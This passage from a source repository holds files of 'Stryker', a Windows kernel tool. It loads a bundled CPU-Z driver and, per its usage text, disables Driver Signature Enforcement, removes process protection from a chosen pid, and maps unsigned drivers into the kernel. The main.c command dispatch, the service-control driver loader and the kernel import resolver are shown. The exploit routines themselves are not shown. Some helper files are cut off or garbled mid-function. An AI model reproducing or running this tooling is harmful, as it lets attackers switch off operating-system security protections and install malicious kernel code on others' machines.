DriverName, 75 | SERVICE_ALL_ACCESS 76 | ); 77 | if (schService == NULL) 78 | return FALSE; 79 | 80 | ret = StartService(schService, 0, NULL) 81 | || GetLastError() == ERROR_SERVICE_ALREADY_RUNNING; 82 | 83 | CloseServiceHandle(schService); 84 | 85 | return ret; 86 | } 87 | 88 | /* 89 | * scmOpenDevice 90 | * 91 | * Purpose: 92 | * 93 | * Open driver device by symbolic link. 94 | * 95 | */ 96 | BOOL scmOpenDevice( 97 | _In_ LPCTSTR DriverName, 98 | _Inout_opt_ PHANDLE lphDevice 99 | ) 100 | { 101 | TCHAR completeDeviceName[64]; 102 | HANDLE hDevice; 103 | 104 | RtlSecureZeroMemory(completeDeviceName, sizeof(completeDeviceName)); 105 | wsprintf(completeDeviceName, TEXT("\\\\.\\%s"), DriverName); 106 | 107 | hDevice = CreateFile(completeDeviceName, 108 | GENERIC_READ | GENERIC_WRITE, 109 | 0, 110 | NULL, 111 | OPEN_EXISTING, 112 | FILE_ATTRIBUTE_NORMAL, 113 | NULL 114 | ); 115 | if (hDevice == INVALID_HANDLE_VALUE) 116 | return FALSE; 117 | 118 | if (lphDevice) { 119 | *lphDevice = hDevice; 120 | } 121 | else { 122 | CloseHandle(hDevice); 123 | } 124 | 125 | return TRUE; 126 | } 127 | 128 | /* 129 | * scmStopDriver 130 | * 131 | * Purpose: 132 | * 133 | * Command SCM to stop service, resulting in driver unload. 134 | * 135 | */ 136 | BOOL scmStopDriver( 137 | _In_ SC_HANDLE SchSCManager, 138 | _In_ LPCTSTR DriverName 139 | ) 140 | { 141 | BOOL ret; 142 | INT iRetryCount; 143 | SC_HANDLE schService; 144 | SERVICE_STATUS serviceStatus; 145 | 146 | ret = FALSE; 147 | schService = OpenService(SchSCManager, DriverName, SERVICE_ALL_ACCESS); 148 | if (schService == NULL) { 149 | return ret; 150 | } 151 | 152 | iRetryCount = 5; 153 | do { 154 | SetLastError(0); 155 | 156 | ret = ControlService(schService, SERVICE_CONTROL_STOP, &serviceStatus); 157 | if (ret != FALSE) 158 | break; 159 | 160 | if (GetLastError() != ERROR_DEPENDENT_SERVICES_RUNNING) 161 | break; 162 | 163 | Sleep(1000); 164 | iRetryCount--; 165 | } while (iRetryCount); 166 | 167 | CloseServiceHandle(schService); 168 | 169 | return ret; 170 | } 171 | 172 | /* 173 | * scmRemoveDriver 174 | * 175 | * Purpose: 176 | * 177 | * Remove service entry from SCM database. 178 | * 179 | */ 180 | BOOL scmRemoveDriver( 181 | _In_ SC_HANDLE SchSCManager, 182 | _In_ LPCTSTR DriverName 183 | ) 184 | { 185 | SC_HANDLE schService; 186 | BOOL bResult = FALSE; 187 | 188 | schService = OpenService(SchSCManager, DriverName, SERVICE_ALL_ACCESS); 189 | if (schService) { 190 | bResult = DeleteService(schService); 191 | CloseServiceHandle(schService); 192 | } 193 | return bResult; 194 | } 195 | 196 | /* 197 | * scmUnloadDeviceDriver 198 | * 199 | * Purpose: 200 | * 201 | * Combines scmStopDriver and scmRemoveDriver. 202 | * 203 | */ 204 | BOOL scmUnloadDeviceDriver( 205 | _In_ LPCTSTR Name 206 | ) 207 | { 208 | SC_HANDLE schSCManager; 209 | BOOL bResult = FALSE; 210 | 211 | if (Name == NULL) { 212 | return bResult; 213 | } 214 | 215 | schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); 216 | if (schSCManager) { 217 | scmStopDriver(schSCManager, Name); 218 | bResult = scmRemoveDriver(schSCManager, Name); 219 | CloseServiceHandle(schSCManager); 220 | } 221 | return bResult; 222 | } 223 | 224 | /* 225 | * scmLoadDeviceDriver 226 | * 227 | * Purpose: 228 | * 229 | * Unload if already exists, Create, Load and Open driver instance. 230 | * 231 | */ 232 | BOOL scmLoadDeviceDriver( 233 | _In_ LPCTSTR Name, 234 | _In_opt_ LPCTSTR Path, 235 | _Inout_ PHANDLE lphDevice 236 | ) 237 | { 238 | SC_HANDLE schSCManager; 239 | BOOL bResult = FALSE; 240 | 241 | if (Name == NULL) { 242 | return bResult; 243 | } 244 | 245 | schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); 246 | if (schSCManager) { 247 | scmRemoveDriver(schSCManager, Name); 248 | scmInstallDriver(schSCManager, Name, Path); 249 | scmStartDriver(schSCManager, Name); 250 | bResult = scmOpenDevice(Name, lphDevice); 251 | CloseServiceHandle(schSCManager); 252 | } 253 | return bResult; 254 | } 255 | -------------------------------------------------------------------------------- /src/Maya/instdrv.h: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2015 - 2016, portions (C) Mark Russinovich, FileMon 4 | * 5 | * TITLE: INSTDRV.H 6 | * 7 | * VERSION: 1.44 8 | * 9 | * DATE: 17 July 2016 10 | * 11 | * Common header file for the program SCM usage. 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | #pragma once 20 | 21 | BOOL scmInstallDriver( 22 | _In_ SC_HANDLE SchSCManager, 23 | _In_ LPCTSTR DriverName, 24 | _In_opt_ LPCTSTR ServiceExe 25 | ); 26 | 27 | BOOL scmStartDriver( 28 | _In_ SC_HANDLE SchSCManager, 29 | _In_ LPCTSTR DriverName 30 | ); 31 | 32 | BOOL scmOpenDevice( 33 | _In_ LPCTSTR DriverName, 34 | _Inout_opt_ PHANDLE lphDevice 35 | ); 36 | 37 | BOOL scmStopDriver( 38 | _In_ SC_HANDLE SchSCManager, 39 | _In_ LPCTSTR DriverName 40 | ); 41 | 42 | BOOL scmRemoveDriver( 43 | _In_ SC_HANDLE SchSCManager, 44 | _In_ LPCTSTR DriverName 45 | ); 46 | 47 | BOOL scmUnloadDeviceDriver( 48 | _In_ LPCTSTR Name 49 | ); 50 | 51 | BOOL scmLoadDeviceDriver( 52 | _In_ LPCTSTR Name, 53 | _In_opt_ LPCTSTR Path, 54 | _Inout_ PHANDLE lphDevice 55 | ); 56 | -------------------------------------------------------------------------------- /src/Maya/irp.h: -------------------------------------------------------------------------------- 1 | /************************************************************************************ 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2018, translated from Microsoft sources/debugger 4 | * 5 | * TITLE: IRP.H 6 | * 7 | * VERSION: 1.00 8 | * 9 | * DATE: 10 Feb 2018 10 | * 11 | * Header file for IRP/STACK_LOCATION define. 12 | * 13 | * WARNING: structures opaque and incomplete. 14 | * 15 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 16 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 17 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 18 | * PARTICULAR PURPOSE. 19 | * 20 | ************************************************************************************/ 21 | #pragma once 22 | 23 | typedef 24 | VOID 25 | (NTAPI *PIO_APC_ROUTINE) ( 26 | _In_ PVOID ApcContext, 27 | _In_ PIO_STATUS_BLOCK IoStatusBlock, 28 | _In_ ULONG Reserved 29 | ); 30 | 31 | typedef struct _IO_STACK_LOCATION { 32 | UCHAR MajorFunction; 33 | UCHAR MinorFunction; 34 | UCHAR Flags; 35 | UCHAR Control; 36 | //incomplete 37 | } IO_STACK_LOCATION, *PIO_STACK_LOCATION; 38 | 39 | typedef struct _KAPC { 40 | UCHAR Type; 41 | UCHAR SpareByte0; 42 | UCHAR Size; 43 | UCHAR SpareByte1; 44 | ULONG SpareLong0; 45 | struct _KTHREAD *Thread; 46 | LIST_ENTRY ApcListEntry; 47 | PVOID Reserved[3]; 48 | PVOID NormalContext; 49 | PVOID SystemArgument1; 50 | PVOID SystemArgument2; 51 | CCHAR ApcStateIndex; 52 | KPROCESSOR_MODE ApcMode; 53 | BOOLEAN Inserted; 54 | } KAPC, *PKAPC, *PRKAPC; 55 | 56 | #pragma warning(push) 57 | #pragma warning(disable:4324) // structure padded due to __declspec(align()) 58 | typedef struct DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT) _IRP { 59 | CSHORT Type; 60 | USHORT Size; 61 | PVOID MdlAddress; 62 | ULONG Flags; 63 | 64 | union { 65 | struct _IRP *MasterIrp; 66 | __volatile LONG IrpCount; 67 | PVOID SystemBuffer; 68 | } AssociatedIrp; 69 | 70 | LIST_ENTRY ThreadListEntry; 71 | IO_STATUS_BLOCK IoStatus; 72 | KPROCESSOR_MODE RequestorMode; 73 | BOOLEAN PendingReturned; 74 | CHAR StackCount; 75 | CHAR CurrentLocation; 76 | BOOLEAN Cancel; 77 | KIRQL CancelIrql; 78 | CCHAR ApcEnvironment; 79 | UCHAR AllocationFlags; 80 | PIO_STATUS_BLOCK UserIosb; 81 | PVOID UserEvent; 82 | union { 83 | struct { 84 | union { 85 | PIO_APC_ROUTINE UserApcRoutine; 86 | PVOID IssuingProcess; 87 | }; 88 | PVOID UserApcContext; 89 | } AsynchronousParameters; 90 | LARGE_INTEGER AllocationSize; 91 | } Overlay; 92 | 93 | __volatile PVOID CancelRoutine; 94 | 95 | PVOID UserBuffer; 96 | 97 | union { 98 | 99 | struct { 100 | 101 | union { 102 | 103 | KDEVICE_QUEUE_ENTRY DeviceQueueEntry; 104 | 105 | struct { 106 | PVOID DriverContext[4]; 107 | }; 108 | 109 | }; 110 | 111 | PVOID Thread; 112 | PCHAR AuxiliaryBuffer; 113 | 114 | struct { 115 | 116 | LIST_ENTRY ListEntry; 117 | 118 | union { 119 | 120 | struct _IO_STACK_LOCATION *CurrentStackLocation; 121 | ULONG PacketType; 122 | }; 123 | }; 124 | 125 | PVOID OriginalFileObject; 126 | 127 | } Overlay; 128 | 129 | //incomplete 130 | 131 | } Tail; 132 | 133 | } IRP; 134 | #pragma warning(pop) 135 | 136 | typedef IRP *PIRP; 137 | 138 | FORCEINLINE 139 | PIO_STACK_LOCATION 140 | IoGetCurrentIrpStackLocation( 141 | _In_ PIRP Irp 142 | ) 143 | { 144 | return Irp->Tail.Overlay.CurrentStackLocation; 145 | } 146 | -------------------------------------------------------------------------------- /src/Maya/ldr.c: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2018 4 | * 5 | * TITLE: LDR.C 6 | * 7 | * VERSION: 1.00 8 | * 9 | * DATE: 10 Feb 2018 10 | * 11 | * Loader support routines. 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | #include "global.h" 20 | 21 | /* 22 | * ldrGetProcAddress 23 | * 24 | * Purpose: 25 | * 26 | * Get NtOskrnl procedure address. 27 | * 28 | */ 29 | ULONG_PTR ldrGetProcAddress( 30 | _In_ ULONG_PTR KernelBase, 31 | _In_ ULONG_PTR KernelImage, 32 | _In_ LPCSTR FunctionName 33 | ) 34 | { 35 | ANSI_STRING cStr; 36 | ULONG_PTR pfn = 0; 37 | 38 | RtlInitString(&cStr, FunctionName); 39 | if (!NT_SUCCESS(LdrGetProcedureAddress((PVOID)KernelImage, &cStr, 0, (PVOID)&pfn))) 40 | return 0; 41 | 42 | return KernelBase + (pfn - KernelImage); 43 | } 44 | 45 | /* 46 | * ldrResolveKernelImport 47 | * 48 | * Purpose: 49 | * 50 | * Resolve import (ntoskrnl only). 51 | * 52 | */ 53 | void ldrResolveKernelImport( 54 | _In_ ULONG_PTR Image, 55 | _In_ ULONG_PTR KernelImage, 56 | _In_ ULONG_PTR KernelBase 57 | ) 58 | { 59 | PIMAGE_OPTIONAL_HEADER popth; 60 | ULONG_PTR ITableVA, *nextthunk; 61 | PIMAGE_IMPORT_DESCRIPTOR ITable; 62 | PIMAGE_THUNK_DATA pthunk; 63 | PIMAGE_IMPORT_BY_NAME pname; 64 | ULONG i; 65 | 66 | popth = &RtlImageNtHeader((PVOID)Image)->OptionalHeader; 67 | 68 | if (popth->NumberOfRvaAndSizes <= IMAGE_DIRECTORY_ENTRY_IMPORT) 69 | return; 70 | 71 | ITableVA = (ULONG_PTR)popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; 72 | if (ITableVA == 0) 73 | return; 74 | 75 | ITable = (PIMAGE_IMPORT_DESCRIPTOR)(Image + ITableVA); 76 | 77 | if (ITable->OriginalFirstThunk == 0) 78 | pthunk = (PIMAGE_THUNK_DATA)(Image + ITable->FirstThunk); 79 | else 80 | pthunk = (PIMAGE_THUNK_DATA)(Image + ITable->OriginalFirstThunk); 81 | 82 | for (i = 0; pthunk->u1.Function != 0; i++, pthunk++) { 83 | nextthunk = (PULONG_PTR)(Image + ITable->FirstThunk); 84 | if ((pthunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) == 0) { 85 | pname = (PIMAGE_IMPORT_BY_NAME)((PCHAR)Image + pthunk->u1.AddressOfData); 86 | nextthunk[i] = ldrGetProcAddress(KernelBase, KernelImage, pname->Name); 87 | } 88 | else 89 | nextthunk[i] = ldrGetProcAddress(KernelBase, KernelImage, (LPCSTR)(pthunk->u1.Ordinal & 0xffff)); 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /src/Maya/ldr.h: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2018 4 | * 5 | * TITLE: LDR.H 6 | * 7 | * VERSION: 1.00 8 | * 9 | * DATE: 10 Feb 2018 10 | * 11 | * Prototypes and definitions for loader support routines. 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | 20 | #pragma once 21 | 22 | ULONG_PTR ldrGetProcAddress( 23 | _In_ ULONG_PTR KernelBase, 24 | _In_ ULONG_PTR KernelImage, 25 | _In_ LPCSTR FunctionName); 26 | 27 | void ldrResolveKernelImport( 28 | _In_ ULONG_PTR Image, 29 | _In_ ULONG_PTR KernelImage, 30 | _In_ ULONG_PTR KernelBase); 31 | -------------------------------------------------------------------------------- /src/Maya/main.c: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2018 4 | * 5 | * TITLE: MAIN.C 6 | * 7 | * VERSION: 1.00 8 | * 9 | * DATE: 10 Feb 2018 10 | * 11 | * Codename: Maya AL 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | 20 | #include "global.h" 21 | 22 | #pragma data_seg("shrd") 23 | volatile LONG g_lApplicationInstances = 0; 24 | #pragma data_seg() 25 | #pragma comment(linker, "/Section:shrd,RWS") 26 | 27 | HANDLE g_hDevice = INVALID_HANDLE_VALUE; 28 | ULONG g_NtBuildNumber = 0; 29 | 30 | #define T_STRYKERINTRO TEXT("Stryker v1.0.0 started (c) 2018 Stryker Project\r\nSupported x64 OS : 7 (6.1 build 7600) and above\r\n") 31 | #define T_STRYKERUNSUP TEXT("\r\n[!] Unsupported WinNT version\r\n") 32 | #define T_STRYKERRUN TEXT("\r\n[!] Another instance running, close it before\r\n") 33 | #define T_STRYKERINVCMD TEXT("\r\n[!] Invalid command or parameters\r\n") 34 | 35 | #define T_STRYKERUSAGE TEXT("\r\nUsage: stryker Mode [Command]\r\n\n\ 36 | Parameters: \r\n\ 37 | Stryker -dse off - disable Driver Signature Enforcement\r\n\ 38 | Stryker -dse on - enable Driver Signature Enforcement\r\n\ 39 | Stryker -prot pid - disable ProtectedProcess for given pid\r\n\ 40 | Stryker -load filename - map your specially created driver\r\n") 41 | 42 | #define CMDS_MAX 3 43 | #define CMDS_INVALID 4 44 | PCWSTR CMDS[] = { TEXT("-dse"), TEXT("-prot"), TEXT("-load") }; 45 | 46 | BOOL LoadAndOpenDrvInternal() 47 | { 48 | WCHAR szBuffer[MAX_PATH * 2]; 49 | 50 | supPrintText(TEXT("\r\n[+] Loading CPU-Z driver...")); 51 | 52 | _strcpy(szBuffer, NtCurrentPeb()->ProcessParameters->CurrentDirectory.DosPath.Buffer); 53 | _strcat(szBuffer, CPUZDRV); 54 | _strcat(szBuffer, TEXT(".sys")); 55 | 56 | if (!RtlDoesFileExists_U(szBuffer)) { 57 | supPrintText(TEXT("\r\n[!] Driver file not found in the current directory")); 58 | return FALSE; 59 | } 60 | 61 | if (!scmOpenDevice(CPUZDRV, &g_hDevice)) { 62 | if (!scmLoadDeviceDriver(CPUZDRV, szBuffer, &g_hDevice)) { 63 | supShowError(GetLastError(), TEXT("Cannot load driver")); 64 | return FALSE; 65 | } 66 | else { 67 | supPrintText(TEXT("\r\n[+] CPU-Z driver loaded")); 68 | } 69 | } 70 | return (g_hDevice != INVALID_HANDLE_VALUE); 71 | } 72 | 73 | BOOL LoadAndOpenDrv() 74 | { 75 | LoadAndOpenDrvInternal(); 76 | if (g_hDevice == INVALID_HANDLE_VALUE) { 77 | supPrintText(TEXT("\r\n[!] Cannot open CPU-Z device")); 78 | return FALSE; 79 | } 80 | else { 81 | supPrintText(TEXT("\r\n[+] CPU-Z device opened")); 82 | return TRUE; 83 | } 84 | } 85 | 86 | BOOL ParseCommandLine() 87 | { 88 | BOOL EnableDSE = FALSE; 89 | ULONG Length; 90 | LPWSTR CommandLine = GetCommandLineW(); 91 | WCHAR szCmdBuffer[MAX_PATH * 2]; 92 | 93 | UINT i, c = CMDS_INVALID; 94 | 95 | ULONG_PTR ProcessId; 96 | 97 | RtlSecureZeroMemory(szCmdBuffer, sizeof(szCmdBuffer)); 98 | if (!GetCommandLineParam(CommandLine, 1, szCmdBuffer, MAX_PATH, &Length)) { 99 | supPrintText(T_STRYKERUSAGE); 100 | return FALSE; 101 | } 102 | 103 | if (Length == 0) { 104 | supPrintText(T_STRYKERUSAGE); 105 | return FALSE; 106 | } 107 | 108 | for (i = 0; i < CMDS_MAX; i++) { 109 | if (_strcmpi(szCmdBuffer, CMDS[i]) == 0) { 110 | c = i; 111 | break; 112 | } 113 | } 114 | 115 | if (c == CMDS_INVALID) { 116 | supPrintText(T_STRYKERINVCMD); 117 | return FALSE; 118 | } 119 | 120 | // query 2nd parameter 121 | RtlSecureZeroMemory(szCmdBuffer, sizeof(szCmdBuffer)); 122 | if (!GetCommandLineParam(CommandLine, 2, szCmdBuffer, MAX_PATH, &Length)) { 123 | supPrintText(T_STRYKERINVCMD); 124 | return FALSE; 125 | } 126 | 127 | if (Length == 0) { 128 | supPrintText(T_STRYKERINVCMD); 129 | return FALSE; 130 | } 131 | 132 | switch (c) { 133 | 134 | case 0: // dse 135 | 136 | if (_strcmpi(szCmdBuffer, TEXT("on")) == 0) { 137 | EnableDSE = TRUE; 138 | } 139 | else { 140 | if (_strcmpi(szCmdBuffer, TEXT("off")) == 0) 141 | EnableDSE = FALSE; 142 | else { 143 | supPrintText(T_STRYKERINVCMD); 144 | break; 145 | } 146 | } 147 | 148 | supPrintText(TEXT("\r\n[+] DSE Control Mode")); 149 | 150 | if (!LoadAndOpenDrv()) 151 | return FALSE; 152 | 153 | return ControlDSE(EnableDSE); 154 | break; 155 | 156 | case 1: // prot 157 | 158 | if ((g_NtBuildNumber < 9600) || (g_NtBuildNumber > 16299)) { 159 | supPrintText(T_STRYKERUNSUP); 160 | break; 161 | } 162 | 163 | ProcessId = strtou64(szCmdBuffer); 164 | if (ProcessId == 0) { 165 | supPrintText(T_STRYKERINVCMD); 166 | break; 167 | } 168 | 169 | supPrintText(TEXT("\r\n[+] Process Control Mode")); 170 | 171 | if (!LoadAndOpenDrv()) 172 | return FALSE; 173 | 174 | return ControlProcess(ProcessId); 175 | break; 176 | 177 | case 2: // load 178 | 179 | supPrintText(TEXT("\r\n[+] Driver Mapping Mode")); 180 | 181 | if (!LoadAndOpenDrv()) 182 | return FALSE; 183 | 184 | return MapDriver(szCmdBuffer); 185 | break; 186 | 187 | default: 188 | break; 189 | } 190 | 191 | return FALSE; 192 | } 193 | 194 | /* 195 | * main 196 | * 197 | * Purpose: 198 | * 199 | * Program entry point. 200 | * 201 | */ 202 | void main() 203 | { 204 | BOOL bCond = FALSE; 205 | LONG x; 206 | OSVERSIONINFO osv; 207 | WCHAR szBuffer[MAX_PATH * 2]; 208 | 209 | do { 210 | supPrintText(T_STRYKERINTRO); 211 | x = InterlockedIncrement((PLONG)&g_lApplicationInstances); 212 | if (x > 1) { 213 | supPrintText(T_STRYKERRUN); 214 | break; 215 | } 216 | 217 | RtlSecureZeroMemory(&osv, sizeof(osv)); 218 | osv.dwOSVersionInfoSize = sizeof(osv); 219 | RtlGetVersion((PRTL_OSVERSIONINFOW)&osv); 220 | if ((osv.dwBuildNumber < 7600) || (osv.dwBuildNumber > 16299)) { 221 | supPrintText(T_STRYKERUNSUP); 222 | break; 223 | } 224 | 225 | g_NtBuildNumber = osv.dwBuildNumber; 226 | 227 | _strcpy(szBuffer, TEXT("Current Windows version: ")); 228 | ultostr(osv.dwMajorVersion, _strend(szBuffer)); 229 | _strcat(szBuffer, TEXT(".")); 230 | ultostr(osv.dwMinorVersion, _strend(szBuffer)); 231 | _strcat(szBuffer, TEXT(" build ")); 232 | ultostr(osv.dwBuildNumber, _strend(szBuffer)); 233 | supPrintText(szBuffer); 234 | 235 | if (!ParseCommandLine()) 236 | break; 237 | 238 | } while (bCond); 239 | 240 | if (g_hDevice != INVALID_HANDLE_VALUE) { 241 | supPrintText(TEXT("\r\n[+] Unloading CPU-Z driver")); 242 | CloseHandle(g_hDevice); 243 | scmUnloadDeviceDriver(CPUZDRV); 244 | supPrintText(TEXT("\r\n[+] Exit")); 245 | } 246 | 247 | InterlockedDecrement((PLONG)&g_lApplicationInstances); 248 | ExitProcess(0); 249 | } 250 | -------------------------------------------------------------------------------- /src/Maya/minirtl/_filename.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "minirtl.h" 3 | 4 | char *_filename_a(const char *f) 5 | { 6 | char *p = (char *)f; 7 | 8 | if (f == 0) 9 | return 0; 10 | 11 | while (*f != (char)0) { 12 | if (*f == '\\') 13 | p = (char *)f + 1; 14 | f++; 15 | } 16 | return p; 17 | } 18 | 19 | wchar_t *_filename_w(const wchar_t *f) 20 | { 21 | wchar_t *p = (wchar_t *)f; 22 | 23 | if (f == 0) 24 | return 0; 25 | 26 | while (*f != (wchar_t)0) { 27 | if (*f == (wchar_t)'\\') 28 | p = (wchar_t *)f + 1; 29 | f++; 30 | } 31 | return p; 32 | } 33 | 34 | char *_fileext_a(const char *f) 35 | { 36 | char *p = 0; 37 | 38 | if (f == 0) 39 | return 0; 40 | 41 | while (*f != (char)0) { 42 | if (*f == '.') 43 | p = (char *)f; 44 | f++; 45 | } 46 | 47 | if (p == 0) 48 | p = (char *)f; 49 | 50 | return p; 51 | } 52 | 53 | wchar_t *_fileext_w(const wchar_t *f) 54 | { 55 | wchar_t *p = 0; 56 | 57 | if (f == 0) 58 | return 0; 59 | 60 | while (*f != (wchar_t)0) { 61 | if (*f == (wchar_t)'.') 62 | p = (wchar_t *)f; 63 | f++; 64 | } 65 | 66 | if (p == 0) 67 | p = (wchar_t *)f; 68 | 69 | return p; 70 | } 71 | 72 | char *_filename_noext_a(char *dest, const char *f) 73 | { 74 | char *p, *l, *dot; 75 | 76 | if ((f == 0) || (dest == 0)) 77 | return 0; 78 | 79 | p = _filename_a(f); 80 | if (p == 0) 81 | return 0; 82 | 83 | dot = _strend_a(p); 84 | if (dot == 0) 85 | return 0; 86 | 87 | l = p; 88 | 89 | while (*l != (char)0) 90 | { 91 | if (*l == '.') 92 | dot = l; 93 | l++; 94 | } 95 | 96 | while (p0) ); 26 | 27 | return (int)(c1 - c2); 28 | } 29 | 30 | int _strncmp_w(const wchar_t *s1, const wchar_t *s2, size_t cchars) 31 | { 32 | wchar_t c1, c2; 33 | 34 | if ( s1==s2 ) 35 | return 0; 36 | 37 | if ( s1==0 ) 38 | return -1; 39 | 40 | if ( s2==0 ) 41 | return 1; 42 | 43 | if ( cchars==0 ) 44 | return 0; 45 | 46 | do { 47 | c1 = *s1; 48 | c2 = *s2; 49 | s1++; 50 | s2++; 51 | cchars--; 52 | } while ( (c1 != 0) && (c1 == c2) && (cchars>0) ); 53 | 54 | return (int)(c1 - c2); 55 | } 56 | -------------------------------------------------------------------------------- /src/Maya/minirtl/_strncmpi.c: -------------------------------------------------------------------------------- 1 | #include "rtltypes.h" 2 | 3 | int _strncmpi_a(const char *s1, const char *s2, size_t cchars) 4 | { 5 | char c1, c2; 6 | 7 | if ( s1==s2 ) 8 | return 0; 9 | 10 | if ( s1==0 ) 11 | return -1; 12 | 13 | if ( s2==0 ) 14 | return 1; 15 | 16 | if ( cchars==0 ) 17 | return 0; 18 | 19 | do { 20 | c1 = locase_a(*s1); 21 | c2 = locase_a(*s2); 22 | s1++; 23 | s2++; 24 | cchars--; 25 | } while ( (c1 != 0) && (c1 == c2) && (cchars>0) ); 26 | 27 | return (int)(c1 - c2); 28 | } 29 | 30 | int _strncmpi_w(const wchar_t *s1, const wchar_t *s2, size_t cchars) 31 | { 32 | wchar_t c1, c2; 33 | 34 | if ( s1==s2 ) 35 | return 0; 36 | 37 | if ( s1==0 ) 38 | return -1; 39 | 40 | if ( s2==0 ) 41 | return 1; 42 | 43 | if ( cchars==0 ) 44 | return 0; 45 | 46 | do { 47 | c1 = locase_w(*s1); 48 | c2 = locase_w(*s2); 49 | s1++; 50 | s2++; 51 | cchars--; 52 | } while ( (c1 != 0) && (c1 == c2) && (cchars>0) ); 53 | 54 | return (int)(c1 - c2); 55 | } 56 | -------------------------------------------------------------------------------- /src/Maya/minirtl/_strncpy.c: -------------------------------------------------------------------------------- 1 | #include "rtltypes.h" 2 | 3 | char *_strncpy_a(char *dest, size_t ccdest, const char *src, size_t ccsrc) 4 | { 5 | char *p; 6 | 7 | if ( (dest==0) || (src==0) || (ccdest==0) ) 8 | return dest; 9 | 10 | ccdest--; 11 | p = dest; 12 | 13 | while ( (*src!=0) && (ccdest>0) && (ccsrc>0) ) { 14 | *p = *src; 15 | p++; 16 | src++; 17 | ccdest--; 18 | ccsrc--; 19 | } 20 | 21 | *p = 0; 22 | return dest; 23 | } 24 | 25 | wchar_t *_strncpy_w(wchar_t *dest, size_t ccdest, const wchar_t *src, size_t ccsrc) 26 | { 27 | wchar_t *p; 28 | 29 | if ( (dest==0) || (src==0) || (ccdest==0) ) 30 | return dest; 31 | 32 | ccdest--; 33 | p = dest; 34 | 35 | while ( (*src!=0) && (ccdest>0) && (ccsrc>0) ) { 36 | *p = *src; 37 | p++; 38 | src++; 39 | ccdest--; 40 | ccsrc--; 41 | } 42 | 43 | *p = 0; 44 | return dest; 45 | } 46 | -------------------------------------------------------------------------------- /src/Maya/minirtl/_strstri.c: -------------------------------------------------------------------------------- 1 | #include "rtltypes.h" 2 | 3 | char *_strstri_a(const char *s, const char *sub_s) 4 | { 5 | char c0, c1, c2, *tmps, *tmpsub; 6 | 7 | if (s == sub_s) 8 | return (char *)s; 9 | 10 | if (s == 0) 11 | return 0; 12 | 13 | if (sub_s == 0) 14 | return 0; 15 | 16 | c0 = locase_a(*sub_s); 17 | while (c0 != 0) { 18 | 19 | while (*s != 0) { 20 | c2 = locase_a(*s); 21 | if (c2 == c0) 22 | break; 23 | s++; 24 | } 25 | 26 | if (*s == 0) 27 | return 0; 28 | 29 | tmps = (char *)s; 30 | tmpsub = (char *)sub_s; 31 | do { 32 | c1 = locase_a(*tmps); 33 | c2 = locase_a(*tmpsub); 34 | tmps++; 35 | tmpsub++; 36 | } while ((c1 == c2) && (c2 != 0)); 37 | 38 | if (c2 == 0) 39 | return (char *)s; 40 | 41 | s++; 42 | } 43 | return 0; 44 | } 45 | 46 | wchar_t *_strstri_w(const wchar_t *s, const wchar_t *sub_s) 47 | { 48 | wchar_t c0, c1, c2, *tmps, *tmpsub; 49 | 50 | if (s == sub_s) 51 | return (wchar_t *)s; 52 | 53 | if (s == 0) 54 | return 0; 55 | 56 | if (sub_s == 0) 57 | return 0; 58 | 59 | c0 = locase_w(*sub_s); 60 | while (c0 != 0) { 61 | 62 | while (*s != 0) { 63 | c2 = locase_w(*s); 64 | if (c2 == c0) 65 | break; 66 | s++; 67 | } 68 | 69 | if (*s == 0) 70 | return 0; 71 | 72 | tmps = (wchar_t *)s; 73 | tmpsub = (wchar_t *)sub_s; 74 | do { 75 | c1 = locase_w(*tmps); 76 | c2 = locase_w(*tmpsub); 77 | tmps++; 78 | tmpsub++; 79 | } while ((c1 == c2) && (c2 != 0)); 80 | 81 | if (c2 == 0) 82 | return (wchar_t *)s; 83 | 84 | s++; 85 | } 86 | return 0; 87 | } 88 | -------------------------------------------------------------------------------- /src/Maya/minirtl/cmdline.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | BOOL GetCommandLineParamW( 4 | IN LPCWSTR CmdLine, 5 | IN ULONG ParamIndex, 6 | OUT 